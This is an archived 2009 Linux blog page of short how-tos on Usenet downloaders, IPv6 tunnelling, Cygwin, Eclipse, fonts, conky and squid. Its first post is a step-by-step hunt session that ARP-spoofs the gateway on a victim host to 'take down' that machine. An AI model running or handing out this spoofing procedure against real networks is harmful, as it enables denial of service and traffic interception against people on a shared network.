A Blog about technology, linux, peer2peer, cool new downloads and software development.

Monday, May 25, 2009

ip takeover attack with hunt to arp spoof


$ sudo apt-get install hunt


$ sudo hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> d
--- daemons --- rcvpkt 148, free/alloc 63/64 ------
r) reset daemon
a) arp spoof + arp relayer daemon
s) sniff daemon
m) mac discovery daemon
x) return
-dm> a
--- arpspoof daemon --- rcvpkt 250, free/alloc 63/64 ------
s/k) start/stop relayer daemon
l/L) list arp spoof database
a) add host to host arp spoof i/I) insert single/range arp spoof
d) delete host to host arp spoof r/R) remove single/range arp spoof
t/T) test if arp spoof successed y) relay database
x) return
-arps> i
host to spoof> 10.1.1.253 # DEFAULT GATEWAY IP ADDRESS
fake mac [EA:1A:DE:AD:BE:01]> # RANDOM MAC ADDR, DEFAULT OK
target - where to insert the spoof> 10.1.1.48 # IP OF HOST TO TAKE DOWN
refresh interval sec [0]> 1
ARP spoof of 10.1.1.253 with fake mac EA:1A:DE:AD:BE:01 in host 10.1.1.48 FAILED
do you want to force arp spoof until successed y/n [y]> y
CTRL-C to break
....^C

Friday, May 22, 2009

better cygwin terminal


install MinTTY is now available as Cygwin package, to be found under the 'Shells' category of setup.exe

edit the cygwin.bat :
replace :
bash --login -i
with :
start mintty -e bash --login -i

Saturday, May 16, 2009

how to install hellanzb on ubuntu linux with ipv6


$ sudo apt-get install hellanzb
$ sudo vim /etc/hellanzb.conf
#configure server like :
defineServer(id = 'newszilla6.xs4all.nl',
hosts = [ 'localhost:1191' ],
#hosts = [ 'news.changeme.com', 'morenews.changeme.com:8000' ],


username = None, # no auth
password = None,

connections = 4,
antiIdle = 4.5 * 60, # 4 minutes, 30 seconds, 0 to disable
#bindTo = '204.31.33.7', # connect FROM this ip address
#enabled = False, # disable this server
#skipGroupCmd = False, # skip sending nntp GROUP commands
#fillserver = 0, # defaults to 0 (a main server).
# fillservers must have values > 0
# (priority)
ssl = False
)
# if u want configure the download path :
Hellanzb.PREFIX_DIR = '/mnt/sdb1/'

> before running start the ipv6 tunnel :
$ 6tunnel 1191 newszilla6.xs4all.nl 119
# create the tunnel per instructions in previous post

> bonus install gui from : http://www.lottanzb.org/

Thursday, May 14, 2009

how to install nzbperl on ubuntu


sudo apt-get install libxml-dom-perl libterm-readkey-perl uudeview
sudo apt-get install libio-socket-inet6-perl
wget http://noisybox.net/computers/nzbperl/nzbperl.pl
wget http://noisybox.net/computers/nzbperl/nzbperlrc.sample

Monday, May 11, 2009

add scp support to eclipse (& remote editing)


Download the latest release of : Target Management project, RSE downloads
from : http://download.eclipse.org/dsdp/tm/downloads/index.php
stop eclipse
and unzip into the eclipse directory.
start eclipse
goto Window->Show view->type "Remote Systems"
{right click} New -> Connection

Thursday, May 7, 2009

how to download nzb free with ubuntu linux ipv6


Download Sabnzbd, I currently use a premade deb from http://www.mbastiaan.nl/sabnzbd.php

install with :
sudo dpkg -i sanzb...

run as application :
sabnzbd -b 0 -s 0.0.0.0:8080
run as daemon :
sabnzbd -b 0 -s 0.0.0.0:8080 -d

Add news servers :
News Host Size Retention Connections Speed
-----------------------------------------------------------
news.ipv6.eweka.nl 400+Tb 120 days 4 20mbit/s
newszilla6.xs4all.nl 40+Tb 18 days 3 150kb/s
reader.ipv6.xsnews.nl 107 days 10 20mbit/s
signup at IPv6 Test

Get more servers @ http://www.ubuntu-unleashed.com/2009/03/howto-easily-get-free-newsgroup-access.html

Wednesday, May 6, 2009

How to setup tspc ipv6-ipv4 tunnel thru NAT on ubuntu linux


sudo apt-get install tspc
sudo vim /etc/tsp/tspc.conf

#Find the userid line and enter your useid for freenet6, then find the passwd line and enter your #password you set, then set the server as broker.freenet6.net
#Like this:
userid=your-name
server=broker.freenet6.net
passwd=your-password

server=montreal.freenet6.net
#or
server=amsterdam.freenet6.net

try :
tunnel_mode=v6anyv4
#or
tunnel_mode=v6udpv4

retry_delay=3
keepalive=yes
keepalive_interval=1
if_prefix=eth0
----- 8< ----- 8< -----

sudo /etc/init.d/tspc stop
sudo /etc/init.d/tspc start

check ipv6 connection :
ping6 -n ipv6.google.com

Monday, May 4, 2009

How to install TTF fonts in ubuntu 9.04


# Download the font from http://www.dafont.com
cp *.ttf /usr/local/share/fonts
cd /usr/local/share/fonts
sudo chown root:root *.ttf
sudo fc-cache

# if the application that needs to use the font (like gimp ) is open it needs to be restarted

Sunday, May 3, 2009

how to install conky on ubuntu 9.04


sudo apt-get install conky
zcat /usr/share/doc/conky/examples/conky.conf.gz > ~/.conkyrc

vim ~/.conkyrc
# change background to :
background yes
# change own_window_type to :
own_window_type override
# change alignment to :
alignment bottom_right

# on laptop
:%s/eth0/wlan0/g

# if there are MPD errors delete all the liles with MPD

Friday, May 1, 2009

squid : configure to cache dynamic content & large files

from : http://wiki.squid-cache.org/ConfigExamples/DynamicContent

vi /etc/squid/squid.conf
change :

acl QUERY urlpath_regex cgi-bin \?
cache deny QUERY
to :
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
------
Change :
maximum_object_size 4096 KB
to
maximum_object_size 40960 KB
------
Change :
cache_dir ufs /var/spool/squid 100 16 256
to (2 gigabyte with multithreaded access)
cache_dir aufs /var/spool/squid 2000 16 256

ubuntu : free kernel cache memory

sudo sh -c "sync && echo 1 > /proc/sys/vm/drop_caches"

RTMP downloading

linux :
http://linuxcentre.net/getiplayer/download/

windows :
http://www.orbitdownloader.com/